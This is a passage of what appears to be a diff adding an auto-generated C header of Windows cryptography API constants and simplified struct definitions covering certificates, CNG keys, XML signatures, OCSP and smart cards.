CERT_QUERY_CONTENT_FLAG_ALL_ISSUER_CERT 0x332 +#define BCRYPT_DSA_PUBLIC_MAGIC 0x42505344 +#define BCRYPT_DSA_PRIVATE_MAGIC 0x56505344 +#define AUTHTYPE_CLIENT 0x1 +#define AUTHTYPE_SERVER 0x2 +#define CERT_STRONG_SIGN_ENABLE_CRL_CHECK 0x1 +#define CERT_STRONG_SIGN_ENABLE_OCSP_CHECK 0x2 +#define CRYPT_DEFAULT_CONTEXT_CERT_SIGN_OID 0x1 +#define CRYPT_DEFAULT_CONTEXT_MULTI_CERT_SIGN_OID 0x2 +#define CERT_QUERY_FORMAT_BINARY 0x1 +#define CERT_QUERY_FORMAT_BASE64_ENCODED 0x2 +#define CERT_QUERY_FORMAT_ASN_ASCII_HEX_ENCODED 0x3 +#define CERT_STORE_BACKUP_RESTORE_FLAG 0x800 +#define CERT_STORE_CREATE_NEW_FLAG 0x2000 +#define CERT_STORE_DEFER_CLOSE_UNTIL_LAST_FREE_FLAG 0x4 +#define CERT_STORE_DELETE_FLAG 0x10 +#define CERT_STORE_ENUM_ARCHIVED_FLAG 0x200 +#define CERT_STORE_MAXIMUM_ALLOWED_FLAG 0x1000 +#define CERT_STORE_NO_CRYPT_RELEASE_FLAG 0x1 +#define CERT_STORE_OPEN_EXISTING_FLAG 0x4000 +#define CERT_STORE_READONLY_FLAG 0x8000 +#define CERT_STORE_SET_LOCALIZED_NAME_FLAG 0x2 +#define CERT_STORE_SHARE_CONTEXT_FLAG 0x80 +#define CERT_STORE_UPDATE_KEYID_FLAG 0x400 +#define PVK_TYPE_FILE_NAME 0x1 +#define PVK_TYPE_KEYCONTAINER 0x2 +#define CRYPT_OID_INFO_PUBKEY_SIGN_KEY_FLAG 0x80000000 +#define CRYPT_OID_INFO_PUBKEY_ENCRYPT_KEY_FLAG 0x40000000 +#define CERT_STORE_SAVE_AS_PKCS7 0x2 +#define CERT_STORE_SAVE_AS_STORE 0x1 +#define CERT_FIND_ANY 0x0 +#define CERT_FIND_CERT_ID 0x100000 +#define CERT_FIND_CTL_USAGE 0xa0000 +#define CERT_FIND_ENHKEY_USAGE 0xa0000 +#define CERT_FIND_EXISTING 0xd0000 +#define CERT_FIND_HASH 0x10000 +#define CERT_FIND_HAS_PRIVATE_KEY 0x150000 +#define CERT_FIND_ISSUER_ATTR 0x30004 +#define CERT_FIND_ISSUER_NAME 0x20004 +#define CERT_FIND_ISSUER_OF 0xc0000 +#define CERT_FIND_ISSUER_STR 0x80004 +#define CERT_FIND_KEY_IDENTIFIER 0xf0000 +#define CERT_FIND_KEY_SPEC 0x90000 +#define CERT_FIND_MD5_HASH 0x40000 +#define CERT_FIND_PROPERTY 0x50000 +#define CERT_FIND_PUBLIC_KEY 0x60000 +#define CERT_FIND_SHA1_HASH 0x10000 +#define CERT_FIND_SIGNATURE_HASH 0xe0000 +#define CERT_FIND_SUBJECT_ATTR 0x30007 +#define CERT_FIND_SUBJECT_CERT 0xb0000 +#define CERT_FIND_SUBJECT_NAME 0x20007 +#define CERT_FIND_SUBJECT_STR 0x80007 +#define CERT_FIND_CROSS_CERT_DIST_POINTS 0x110000 +#define CERT_FIND_PUBKEY_MD5_HASH 0x120000 +#define CERT_FIND_SHA256_HASH 0x160000 +#define CERT_FIND_SHA1_SHA256_HASH 0x170000 +#define CERT_FIND_SUBJECT_STR_A 0x70007 +#define CERT_FIND_SUBJECT_STR_W 0x80007 +#define CERT_FIND_ISSUER_STR_A 0x70004 +#define CERT_FIND_ISSUER_STR_W 0x80004 +#define CERT_FIND_SUBJECT_INFO_ACCESS 0x130000 +#define CERT_FIND_HASH_STR 0x140000 +#define CERT_FIND_OPTIONAL_ENHKEY_USAGE_FLAG 0x1 +#define CERT_FIND_EXT_ONLY_ENHKEY_USAGE_FLAG 0x2 +#define CERT_FIND_PROP_ONLY_ENHKEY_USAGE_FLAG 0x4 +#define CERT_FIND_NO_ENHKEY_USAGE_FLAG 0x8 +#define CERT_FIND_OR_ENHKEY_USAGE_FLAG 0x10 +#define CERT_FIND_VALID_ENHKEY_USAGE_FLAG 0x20 +#define CERT_FIND_OPTIONAL_CTL_USAGE_FLAG 0x1 +#define CERT_FIND_EXT_ONLY_CTL_USAGE_FLAG 0x2 +#define CERT_FIND_PROP_ONLY_CTL_USAGE_FLAG 0x4 +#define CERT_FIND_NO_CTL_USAGE_FLAG 0x8 +#define CERT_FIND_OR_CTL_USAGE_FLAG 0x10 +#define CERT_FIND_VALID_CTL_USAGE_FLAG 0x20 +#define DirectionEncrypt 1 +#define DirectionDecrypt 2 +#define CERT_STORE_CTRL_COMMIT_FORCE_FLAG 0x1 +#define CERT_STORE_CTRL_COMMIT_CLEAR_FLAG 0x2 +#define CERT_STORE_CTRL_INHIBIT_DUPLICATE_HANDLE_FLAG 0x1 +#define CRYPT_GET_URL_FROM_PROPERTY 0x1 +#define CRYPT_GET_URL_FROM_EXTENSION 0x2 +#define CRYPT_GET_URL_FROM_UNAUTH_ATTRIBUTE 0x4 +#define CRYPT_GET_URL_FROM_AUTH_ATTRIBUTE 0x8 +#define CERT_STORE_PROV_EXTERNAL_FLAG 0x1 +#define CERT_STORE_PROV_DELETED_FLAG 0x2 +#define CERT_STORE_PROV_NO_PERSIST_FLAG 0x4 +#define CERT_STORE_PROV_SYSTEM_STORE_FLAG 0x8 +#define CERT_STORE_PROV_LM_SYSTEM_STORE_FLAG 0x10 +#define ENUM_CEPSETUPPROP_AUTHENTICATION 0 +#define ENUM_CEPSETUPPROP_SSLCERTHASH 1 +#define ENUM_CEPSETUPPROP_URL 2 +#define ENUM_CEPSETUPPROP_KEYBASED_RENEWAL 3 +#define CRYPT_ACQUIRE_CACHE_FLAG 0x1 +#define CRYPT_ACQUIRE_USE_PROV_INFO_FLAG 0x2 +#define CRYPT_ACQUIRE_COMPARE_KEY_FLAG 0x4 +#define CRYPT_ACQUIRE_NO_HEALING 0x8 +#define CRYPT_ACQUIRE_SILENT_FLAG 0x40 +#define CRYPT_ACQUIRE_WINDOW_HANDLE_FLAG 0x80 +#define CRYPT_ACQUIRE_NCRYPT_KEY_FLAGS_MASK 0x70000 +#define CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG 0x10000 +#define CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG 0x20000 +#define CRYPT_ACQUIRE_ONLY_NCRYPT_KEY_FLAG 0x40000 +#define DSA_HASH_ALGORITHM_SHA1 0 +#define DSA_HASH_ALGORITHM_SHA256 1 +#define DSA_HASH_ALGORITHM_SHA512 2 +#define TIMESTAMP_VERSION 0x1 +#define ENUM_SETUPPROP_INVALID -1 +#define ENUM_SETUPPROP_CATYPE 0 +#define ENUM_SETUPPROP_CAKEYINFORMATION 1 +#define ENUM_SETUPPROP_INTERACTIVE 2 +#define ENUM_SETUPPROP_CANAME 3 +#define ENUM_SETUPPROP_CADSSUFFIX 4 +#define ENUM_SETUPPROP_VALIDITYPERIOD 5 +#define ENUM_SETUPPROP_VALIDITYPERIODUNIT 6 +#define ENUM_SETUPPROP_EXPIRATIONDATE 7 +#define ENUM_SETUPPROP_PRESERVEDATABASE 8 +#define ENUM_SETUPPROP_DATABASEDIRECTORY 9 +#define ENUM_SETUPPROP_LOGDIRECTORY 10 +#define ENUM_SETUPPROP_SHAREDFOLDER 11 +#define ENUM_SETUPPROP_PARENTCAMACHINE 12 +#define ENUM_SETUPPROP_PARENTCANAME 13 +#define ENUM_SETUPPROP_REQUESTFILE 14 +#define ENUM_SETUPPROP_WEBCAMACHINE 15 +#define ENUM_SETUPPROP_WEBCANAME 16 +#define CRYPT_XML_KEYINFO_TYPE_KEYNAME 0x1 +#define CRYPT_XML_KEYINFO_TYPE_KEYVALUE 0x2 +#define CRYPT_XML_KEYINFO_TYPE_RETRIEVAL 0x3 +#define CRYPT_XML_KEYINFO_TYPE_X509DATA 0x4 +#define CRYPT_XML_KEYINFO_TYPE_CUSTOM 0x5 +#define BCRYPT_HASH_OPERATION_HASH_DATA 1 +#define BCRYPT_HASH_OPERATION_FINISH_HASH 2 +#define CRYPT_ANY 0x4 +#define CRYPT_UM 0x1 +#define CRYPT_KM 0x2 +#define CRYPT_MM 0x3 +#define BCRYPT_BLOCK_PADDING 0x1 +#define BCRYPT_PAD_NONE 0x1 +#define BCRYPT_PAD_OAEP 0x4 +#define BCRYPT_PAD_PKCS1 0x2 +#define BCRYPT_PAD_PSS 0x8 +#define SIGNER_SUBJECT_FILE 0x1 +#define SIGNER_SUBJECT_BLOB 0x2 +#define CRYPT_OBJECT_LOCATOR_RELEASE_SYSTEM_SHUTDOWN 0x1 +#define CRYPT_OBJECT_LOCATOR_RELEASE_SERVICE_STOP 0x2 +#define CRYPT_OBJECT_LOCATOR_RELEASE_PROCESS_EXIT 0x3 +#define CRYPT_OBJECT_LOCATOR_RELEASE_DLL_UNLOAD 0x4 +#define CRL_REASON_UNSPECIFIED 0x0 +#define CRL_REASON_KEY_COMPROMISE 0x1 +#define CRL_REASON_CA_COMPROMISE 0x2 +#define CRL_REASON_AFFILIATION_CHANGED 0x3 +#define CRL_REASON_SUPERSEDED 0x4 +#define CRL_REASON_CESSATION_OF_OPERATION 0x5 +#define CRL_REASON_CERTIFICATE_HOLD 0x6 +#define CRL_REASON_REMOVE_FROM_CRL 0x8 +#define CRYPT_XML_STATUS_INTERNAL_REFERENCE 0x1 +#define CRYPT_XML_STATUS_KEY_AVAILABLE 0x2 +#define CRYPT_XML_STATUS_DIGESTING 0x4 +#define CRYPT_XML_STATUS_DIGEST_VALID 0x8 +#define CRYPT_XML_STATUS_SIGNATURE_VALID 0x10000 +#define CRYPT_XML_STATUS_OPENED_TO_ENCODE 0x80000000 +#define SIGNER_TIMESTAMP_AUTHENTICODE 0x1 +#define SIGNER_TIMESTAMP_RFC3161 0x2 +#define BCRYPT_NO_CURVE_GENERATION_ALG_ID 0 +#define BCRYPT_CIPHER_OPERATION 0x1 +#define BCRYPT_HASH_OPERATION 0x2 +#define BCRYPT_ASYMMETRIC_ENCRYPTION_OPERATION 0x4 +#define BCRYPT_SECRET_AGREEMENT_OPERATION 0x8 +#define BCRYPT_SIGNATURE_OPERATION 0x10 +#define BCRYPT_RNG_OPERATION 0x20 +#define NCRYPT_CIPHER_OPERATION 0x1 +#define NCRYPT_HASH_OPERATION 0x2 +#define NCRYPT_ASYMMETRIC_ENCRYPTION_OPERATION 0x4 +#define NCRYPT_SECRET_AGREEMENT_OPERATION 0x8 +#define NCRYPT_SIGNATURE_OPERATION 0x10 +#define HP_HMAC_INFO 0x5 +#define HP_HASHVAL 0x2 +#define BCRYPT_ALG_HANDLE_HMAC_FLAG 0x8 +#define BCRYPT_PROV_DISPATCH 0x1 +#define BCRYPT_HASH_REUSABLE_FLAG 0x20 +#define CRYPT_ENCODE_ALLOC_FLAG 0x8000 +#define CRYPT_ENCODE_ENABLE_PUNYCODE_FLAG 0x20000 +#define CRYPT_UNICODE_NAME_ENCODE_DISABLE_CHECK_TYPE_FLAG 0x40000000 +#define CRYPT_UNICODE_NAME_ENCODE_ENABLE_T61_UNICODE_FLAG 0x80000000 +#define CRYPT_UNICODE_NAME_ENCODE_ENABLE_UTF8_UNICODE_FLAG 0x20000000 +#define CRYPT_XML_FLAG_DISABLE_EXTENSIONS 0x10000000 +#define CRYPT_XML_FLAG_NO_SERIALIZE 0x80000000 +#define CRYPT_XML_SIGN_ADD_KEYVALUE 0x1 +#define TIMESTAMP_STATUS_GRANTED 0x0 +#define TIMESTAMP_STATUS_GRANTED_WITH_MODS 0x1 +#define TIMESTAMP_STATUS_REJECTED 0x2 +#define TIMESTAMP_STATUS_WAITING 0x3 +#define TIMESTAMP_STATUS_REVOCATION_WARNING 0x4 +#define TIMESTAMP_STATUS_REVOKED 0x5 + +typedef struct _BCRYPT_KEY_HANDLE { + void* Value; +} BCRYPT_KEY_HANDLE; + +typedef struct _CONTAINER_MAP_RECORD { + unsigned short wszGuid[40]; + unsigned char bFlags; + unsigned char bReserved; + unsigned short wSigKeySizeBits; + unsigned short wKeyExchangeKeySizeBits; +} CONTAINER_MAP_RECORD; + +typedef struct _NCRYPT_PROTECT_STREAM_INFO_EX { + void* pfnStreamOutput; + void* pvCallbackCtxt; +} NCRYPT_PROTECT_STREAM_INFO_EX; + +typedef struct _CARD_AUTHENTICATE_RESPONSE { + unsigned int dwVersion; + unsigned int cbSessionPin; + unsigned int cAttemptsRemaining; + unsigned char pbSessionPin[1]; +} CARD_AUTHENTICATE_RESPONSE; + +typedef struct _CRYPT_XML_TRANSFORM_CHAIN_CONFIG { + unsigned int cbSize; + unsigned int cTransformInfo; + void* rgpTransformInfo; +} CRYPT_XML_TRANSFORM_CHAIN_CONFIG; + +typedef struct _NCRYPT_SSL_CIPHER_SUITE { + unsigned int dwProtocol; + unsigned int dwCipherSuite; + unsigned int dwBaseCipherSuite; + unsigned short szCipherSuite[64]; + unsigned short szCipher[64]; + unsigned int dwCipherLen; + unsigned int dwCipherBlockLen; + unsigned short szHash[64]; + unsigned int dwHashLen; + unsigned short szExchange[64]; + unsigned int dwMinExchangeLen; + unsigned int dwMaxExchangeLen; + unsigned short szCertificate[64]; + unsigned int dwKeyType; +} NCRYPT_SSL_CIPHER_SUITE; + +typedef struct _CERT_DH_PARAMETERS { + void* p; + void* g; +} CERT_DH_PARAMETERS; + +typedef struct _CMSG_RC4_AUX_INFO { + unsigned int cbSize; + unsigned int dwBitLen; +} CMSG_RC4_AUX_INFO; + +typedef struct _CMSG_KEY_AGREE_RECIPIENT_INFO { + unsigned int dwVersion; + void* dwOriginatorChoice; + void* Anonymous; + void* UserKeyingMaterial; + void* KeyEncryptionAlgorithm; + unsigned int cRecipientEncryptedKeys; + void* rgpRecipientEncryptedKeys; +} CMSG_KEY_AGREE_RECIPIENT_INFO; + +typedef struct _SSL_HPKP_HEADER_EXTRA_CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + unsigned int dwReserved; + void* pwszServerName; + void* rgpszHpkpValue[2]; +} SSL_HPKP_HEADER_EXTRA_CERT_CHAIN_POLICY_PARA; + +typedef struct _CRL_DIST_POINT { + void* DistPointName; + void* ReasonFlags; + void* CRLIssuer; +} CRL_DIST_POINT; + +typedef struct _CERT_GENERAL_SUBTREE { + void* Base; + unsigned int dwMinimum; + BOOL fMaximum; + unsigned int dwMaximum; +} CERT_GENERAL_SUBTREE; + +typedef struct _CERT_BIOMETRIC_EXT_INFO { + unsigned int cBiometricData; + void* rgBiometricData; +} CERT_BIOMETRIC_EXT_INFO; + +typedef struct _CRYPT_PROVIDER_REFS { + unsigned int cProviders; + void* rgpProviders; +} CRYPT_PROVIDER_REFS; + +typedef struct _CERT_ID { + void* dwIdChoice; + void* Anonymous; +} CERT_ID; + +typedef struct _CARD_FILE_INFO { + unsigned int dwVersion; + unsigned int cbFileSize; + void* AccessCondition; +} CARD_FILE_INFO; + +typedef struct _NCRYPT_VBS_ROOT_KEY_ATTESTATION_CLAIM_DETAILS { + unsigned int ulKeyFlags; + unsigned long long ullTrustletId; + unsigned int ulTrustletSecurityVersion; + unsigned int ulTrustletDebuggable; +} NCRYPT_VBS_ROOT_KEY_ATTESTATION_CLAIM_DETAILS; + +typedef struct _NCRYPT_HANDLE { + unsigned long long Value; +} NCRYPT_HANDLE; + +typedef struct _CERT_KEY_ATTRIBUTES_INFO { + void* KeyId; + void* IntendedKeyUsage; + void* pPrivateKeyUsagePeriod; +} CERT_KEY_ATTRIBUTES_INFO; + +typedef struct _CRYPT_XML_OBJECT { + unsigned int cbSize; + void* hObject; + void* wszId; + void* wszMimeType; + void* wszEncoding; + void* Manifest; + void* Encoded; +} CRYPT_XML_OBJECT; + +typedef struct _PIN_CACHE_POLICY { + unsigned int dwVersion; + void* PinCachePolicyType; + unsigned int dwPinCachePolicyInfo; +} PIN_CACHE_POLICY; + +typedef struct _PUBKEYVER3 { + unsigned int magic; + unsigned int bitlenP; + unsigned int bitlenQ; + unsigned int bitlenJ; + void* DSSSeed; +} PUBKEYVER3; + +typedef struct _OCSP_RESPONSE_INFO { + unsigned int dwStatus; + void* pszObjId; + void* Value; +} OCSP_RESPONSE_INFO; + +typedef struct _CARD_CAPABILITIES { + unsigned int dwVersion; + BOOL fCertificateCompression; + BOOL fKeyGen; +} CARD_CAPABILITIES; + +typedef struct _CRYPT_TIMESTAMP_CONTEXT { + unsigned int cbEncoded; + void* pbEncoded; + void* pTimeStamp; +} CRYPT_TIMESTAMP_CONTEXT; + +typedef struct _CERT_STRONG_SIGN_SERIALIZED_INFO { + void* dwFlags; + void* pwszCNGSignHashAlgids; + void* pwszCNGPubKeyMinBitLengths; +} CERT_STRONG_SIGN_SERIALIZED_INFO; + +typedef struct _OCSP_BASIC_RESPONSE_INFO { + unsigned int dwVersion; + unsigned int dwResponderIdChoice; + void* Anonymous; + void* ProducedAt; + unsigned int cResponseEntry; + void* rgResponseEntry; + unsigned int cExtension; + void* rgExtension; +} OCSP_BASIC_RESPONSE_INFO; + +typedef struct _CRYPT_XML_KEY_ECDSA_KEY_VALUE { + void* wszNamedCurve; + void* X; + void* Y; + void* ExplicitPara; +} CRYPT_XML_KEY_ECDSA_KEY_VALUE; + +typedef struct _INFORMATIONCARD_ASYMMETRIC_CRYPTO_PARAMETERS { + int keySize; + void* keyExchangeAlgorithm; + void* signatureAlgorithm; +} INFORMATIONCARD_ASYMMETRIC_CRYPTO_PARAMETERS; + +// SKIPPED struct CCertSrvSetupKeyInformation: no representable fields +typedef struct _CERT_ISSUER_SERIAL_NUMBER { + void* Issuer; + void* SerialNumber; +} CERT_ISSUER_SERIAL_NUMBER; + +typedef struct _CRYPT_PASSWORD_CREDENTIALSA { + unsigned int cbSize; + void* pszUsername; + void* pszPassword; +} CRYPT_PASSWORD_CREDENTIALSA; + +typedef struct _NCRYPT_PROV_HANDLE { + unsigned long long Value; +} NCRYPT_PROV_HANDLE; + +typedef struct _CERT_AUTHORITY_KEY_ID_INFO { + void* KeyId; + void* CertIssuer; + void* CertSerialNumber; +} CERT_AUTHORITY_KEY_ID_INFO; + +typedef struct _POLICY_ELEMENT { + void* targetEndpointAddress; + void* issuerEndpointAddress; + void* issuedTokenParameters; + void* privacyNoticeLink; + unsigned int privacyNoticeVersion; + BOOL useManagedPresentation; +} POLICY_ELEMENT; + +typedef struct _CERT_INFO { + unsigned int dwVersion; + void* SerialNumber; + void* SignatureAlgorithm; + void* Issuer; + void* NotBefore; + void* NotAfter; + void* Subject; + void* SubjectPublicKeyInfo; + void* IssuerUniqueId; + void* SubjectUniqueId; + unsigned int cExtension; + void* rgExtension; +} CERT_INFO; + +typedef struct _NCRYPT_EXPORTED_ISOLATED_KEY_HEADER { + unsigned int Version; + unsigned int KeyUsage; + unsigned int _bitfield; + unsigned int cbAlgName; + unsigned int cbNonce; + unsigned int cbAuthTag; + unsigned int cbWrappingKey; + unsigned int cbIsolatedKey; +} NCRYPT_EXPORTED_ISOLATED_KEY_HEADER; + +typedef struct _CERT_LOGOTYPE_DATA { + unsigned int cLogotypeImage; + void* rgLogotypeImage; + unsigned int cLogotypeAudio; + void* rgLogotypeAudio; +} CERT_LOGOTYPE_DATA; + +typedef struct _CERT_TPM_SPECIFICATION_INFO { + void* pwszFamily; + unsigned int dwLevel; + unsigned int dwRevision; +} CERT_TPM_SPECIFICATION_INFO; + +typedef struct _CROSS_CERT_DIST_POINTS_INFO { + unsigned int dwSyncDeltaTime; + unsigned int cDistPoint; + void* rgDistPoint; +} CROSS_CERT_DIST_POINTS_INFO; + +typedef struct _BCRYPT_SECRET_HANDLE { + void* Value; +} BCRYPT_SECRET_HANDLE; + +typedef struct _BCRYPT_ECC_PARAMETER_HEADER { + unsigned int dwVersion; + void* dwCurveType; + void* dwCurveGenerationAlgId; + unsigned int cbFieldLength; + unsigned int cbSubgroupOrder; + unsigned int cbCofactor; + unsigned int cbSeed; +} BCRYPT_ECC_PARAMETER_HEADER; + +typedef struct _CARD_DERIVE_KEY { + unsigned int dwVersion; + unsigned int dwFlags; + void* pwszKDF; + unsigned char bSecretAgreementIndex; + void* pParameterList; + void* pbDerivedKey; + unsigned int cbDerivedKey; + void* pwszAlgId; + unsigned int dwKeyLen; + unsigned long long hKey; +} CARD_DERIVE_KEY; + +typedef struct _CERT_PAIR { + void* Forward; + void* Reverse; +} CERT_PAIR; + +typedef struct _SIGNER_CERT_STORE_INFO { + unsigned int cbSize; + void* pSigningCert; + void* dwCertPolicy; + void* hCertStore; +} SIGNER_CERT_STORE_INFO; + +typedef struct _BCRYPT_KEY_LENGTHS_STRUCT { + unsigned int dwMinLength; + unsigned int dwMaxLength; + unsigned int dwIncrement; +} BCRYPT_KEY_LENGTHS_STRUCT; + +typedef struct _CRYPT_PROVIDER_REG { + unsigned int cAliases; + void* rgpszAliases; + void* pUM; + void* pKM; +} CRYPT_PROVIDER_REG; + +typedef struct _CERT_AUTHORITY_KEY_ID2_INFO { + void* KeyId; + void* AuthorityCertIssuer; + void* AuthorityCertSerialNumber; +} CERT_AUTHORITY_KEY_ID2_INFO; + +typedef struct _HCERTCHAINENGINE { + void* Value; +} HCERTCHAINENGINE; + +typedef struct _KEY_TYPE_SUBTYPE { + unsigned int dwKeySpec; + void* Type; + void* Subtype; +} KEY_TYPE_SUBTYPE; + +typedef struct _CRYPT_XML_REFERENCE { + unsigned int cbSize; + void* hReference; + void* wszId; + void* wszUri; + void* wszType; + void* DigestMethod; + void* DigestValue; + unsigned int cTransform; + void* rgTransform; +} CRYPT_XML_REFERENCE; + +typedef struct _CTL_VERIFY_USAGE_STATUS { + unsigned int cbSize; + unsigned int dwError; + unsigned int dwFlags; + void* ppCtl; + unsigned int dwCtlEntryIndex; + void* ppSigner; + unsigned int dwSignerIndex; +} CTL_VERIFY_USAGE_STATUS; + +typedef struct _BCRYPT_KEY_BLOB { + unsigned int Magic; +} BCRYPT_KEY_BLOB; + +typedef struct _NCRYPT_PQ_BLOB { + unsigned int dwMagic; + unsigned int cbBCryptType; + unsigned int cbBCryptBlob; +} NCRYPT_PQ_BLOB; + +typedef struct _CRYPT_BIT_BLOB { + unsigned int cbData; + void* pbData; + unsigned int cUnusedBits; +} CRYPT_BIT_BLOB; + +typedef struct _CRYPT_XML_KEY_DSA_KEY_VALUE { + void* P; + void* Q; + void* G; + void* Y; + void* J; + void* Seed; + void* Counter; +} CRYPT_XML_KEY_DSA_KEY_VALUE; + +typedef struct _CRYPT_ENCRYPT_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgEncodingType; + void* hCryptProv; + void* ContentEncryptionAlgorithm; + void* pvEncryptionAuxInfo; + unsigned int dwFlags; + unsigned int dwInnerContentType; +} CRYPT_ENCRYPT_MESSAGE_PARA; + +typedef struct _SIGNER_CONTEXT { + unsigned int cbSize; + unsigned int cbBlob; + void* pbBlob; +} SIGNER_CONTEXT; + +typedef struct _CLMD_PIV_CERT_DATA { + unsigned int dwVersion; + unsigned int dwCertTag; + void* pbCert; + unsigned int cbCert; +} CLMD_PIV_CERT_DATA; + +typedef struct _CRYPT_XML_ISSUER_SERIAL { + void* wszIssuer; + void* wszSerial; +} CRYPT_XML_ISSUER_SERIAL; + +typedef struct _CRYPTNET_URL_CACHE_FLUSH_INFO { + unsigned int cbSize; + unsigned int dwExemptSeconds; + void* ExpireTime; +} CRYPTNET_URL_CACHE_FLUSH_INFO; + +typedef struct _CRYPT_XML_SIGNATURE { + unsigned int cbSize; + void* hSignature; + void* wszId; + void* SignedInfo; + void* SignatureValue; + void* pKeyInfo; + unsigned int cObject; + void* rgpObject; +} CRYPT_XML_SIGNATURE; + +typedef struct _CRYPT_PKCS8_EXPORT_PARAMS { + unsigned long long hCryptProv; + unsigned int dwKeySpec; + void* pszPrivateKeyObjId; + void* pEncryptPrivateKeyFunc; + void* pVoidEncryptFunc; +} CRYPT_PKCS8_EXPORT_PARAMS; + +typedef struct _HCRYPTPROV_LEGACY { + unsigned long long Value; +} HCRYPTPROV_LEGACY; + +typedef struct _BCRYPT_HANDLE { + void* Value; +} BCRYPT_HANDLE; + +typedef struct _CMSG_KEY_TRANS_RECIPIENT_INFO { + unsigned int dwVersion; + void* RecipientId; + void* KeyEncryptionAlgorithm; + void* EncryptedKey; +} CMSG_KEY_TRANS_RECIPIENT_INFO; + +typedef struct _CRYPT_TIMESTAMP_PARA { + void* pszTSAPolicyId; + BOOL fRequestCerts; + void* Nonce; + unsigned int cExtension; + void* rgExtension; +} CRYPT_TIMESTAMP_PARA; + +typedef struct _OCSP_BASIC_SIGNED_RESPONSE_INFO { + void* ToBeSigned; + void* SignatureInfo; +} OCSP_BASIC_SIGNED_RESPONSE_INFO; + +typedef struct _CMSG_SIGNED_AND_ENVELOPED_ENCODE_INFO { + unsigned int cbSize; + void* SignedInfo; + void* EnvelopedInfo; +} CMSG_SIGNED_AND_ENVELOPED_ENCODE_INFO; + +typedef struct _SIGNER_DIGEST_SIGN_INFO_V2 { + unsigned int cbSize; + void* pfnAuthenticodeDigestSign; + void* pfnAuthenticodeDigestSignEx; + void* pMetadataBlob; +} SIGNER_DIGEST_SIGN_INFO_V2; + +typedef struct _OCSP_SIGNATURE_INFO { + void* SignatureAlgorithm; + void* Signature; + unsigned int cCertEncoded; + void* rgCertEncoded; +} OCSP_SIGNATURE_INFO; + +typedef struct _EV_EXTRA_CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + unsigned int dwQualifiers; + unsigned int dwIssuanceUsageIndex; +} EV_EXTRA_CERT_CHAIN_POLICY_STATUS; + +typedef struct _CTL_ANY_SUBJECT_INFO { + void* SubjectAlgorithm; + void* SubjectIdentifier; +} CTL_ANY_SUBJECT_INFO; + +typedef struct _PIN_INFO { + unsigned int dwVersion; + void* PinType; + void* PinPurpose; + unsigned int dwChangePermission; + unsigned int dwUnblockPermission; + void* PinCachePolicy; + unsigned int dwFlags; +} PIN_INFO; + +typedef struct _CRYPT_PSOURCE_ALGORITHM { + void* pszObjId; + void* EncodingParameters; +} CRYPT_PSOURCE_ALGORITHM; + +typedef struct _CMSG_CMS_RECIPIENT_INFO { + unsigned int dwRecipientChoice; + void* Anonymous; +} CMSG_CMS_RECIPIENT_INFO; + +typedef struct _NCRYPT_KEY_HANDLE { + unsigned long long Value; +} NCRYPT_KEY_HANDLE; + +typedef struct _CERT_DSS_PARAMETERS { + void* p; + void* q; + void* g; +} CERT_DSS_PARAMETERS; + +typedef struct _CTL_VERIFY_USAGE_PARA { + unsigned int cbSize; + void* ListIdentifier; + unsigned int cCtlStore; + void* rghCtlStore; + unsigned int cSignerStore; + void* rghSignerStore; +} CTL_VERIFY_USAGE_PARA; + +typedef struct _CRYPT_ASYNC_RETRIEVAL_COMPLETION { + void* pfnCompletion; + void* pvCompletion; +} CRYPT_ASYNC_RETRIEVAL_COMPLETION; + +typedef struct _HTTPSPolicyCallbackData { + void* Anonymous; + void* dwAuthType; + unsigned int fdwChecks; + void* pwszServerName; +} HTTPSPolicyCallbackData; + +typedef struct _CERT_POLICY_QUALIFIER_NOTICE_REFERENCE { + void* pszOrganization; + unsigned int cNoticeNumbers; + void* rgNoticeNumbers; +} CERT_POLICY_QUALIFIER_NOTICE_REFERENCE; + +typedef struct _HCERTSTOREPROV { + void* Value; +} HCERTSTOREPROV; + +typedef struct _CRYPT_XML_ALGORITHM { + unsigned int cbSize; + void* wszAlgorithm; + void* Encoded; +} CRYPT_XML_ALGORITHM; + +// SKIPPED struct CCertificateEnrollmentPolicyServerSetup: no representable fields +typedef struct _CMSG_MAIL_LIST_ENCRYPT_INFO { + unsigned int cbSize; + unsigned int dwRecipientIndex; + void* KeyEncryptionAlgorithm; + void* EncryptedKey; + unsigned int dwFlags; +} CMSG_MAIL_LIST_ENCRYPT_INFO; + +typedef struct _CERT_CHAIN_PARA { + unsigned int cbSize; + void* RequestedUsage; + void* RequestedIssuancePolicy; + unsigned int dwUrlRetrievalTimeout; + BOOL fCheckRevocationFreshnessTime; + unsigned int dwRevocationFreshnessTime; + void* pftCacheResync; + void* pStrongSignPara; + unsigned int dwStrongSignFlags; +} CERT_CHAIN_PARA; + +typedef struct _BCRYPT_HASH_HANDLE { + void* Value; +} BCRYPT_HASH_HANDLE; + +typedef struct _CRL_ISSUING_DIST_POINT { + void* DistPointName; + BOOL fOnlyContainsUserCerts; + BOOL fOnlyContainsCACerts; + void* OnlySomeReasonFlags; + BOOL fIndirectCRL; +} CRL_ISSUING_DIST_POINT; + +typedef struct _CERT_X942_DH_VALIDATION_PARAMS { + void* seed; + unsigned int pgenCounter; +} CERT_X942_DH_VALIDATION_PARAMS; + +typedef struct _NCryptKeyName { + void* pszName; + void* pszAlgid; + void* dwLegacyKeySpec; + unsigned int dwFlags; +} NCryptKeyName; + +typedef struct _CARD_ENCRYPTED_DATA { + void* pbEncryptedData; + unsigned int cbEncryptedData; +} CARD_ENCRYPTED_DATA; + +typedef struct _NCRYPT_PCP_TPM_FW_VERSION_INFO { + unsigned short major1; + unsigned short major2; + unsigned short minor1; + unsigned short minor2; +} NCRYPT_PCP_TPM_FW_VERSION_INFO; + +typedef struct _CTL_ENTRY { + void* SubjectIdentifier; + unsigned int cAttribute; + void* rgAttribute; +} CTL_ENTRY; + +typedef struct _CERT_HASHED_URL { + void* HashAlgorithm; + void* Hash; + void* pwszUrl; +} CERT_HASHED_URL; + +typedef struct _CERT_LOGOTYPE_EXT_INFO { + unsigned int cCommunityLogo; + void* rgCommunityLogo; + void* pIssuerLogo; + void* pSubjectLogo; + unsigned int cOtherLogo; + void* rgOtherLogo; +} CERT_LOGOTYPE_EXT_INFO; + +typedef struct _CERT_SUPPORTED_ALGORITHM_INFO { + void* Algorithm; + void* IntendedKeyUsage; + void* IntendedCertPolicies; +} 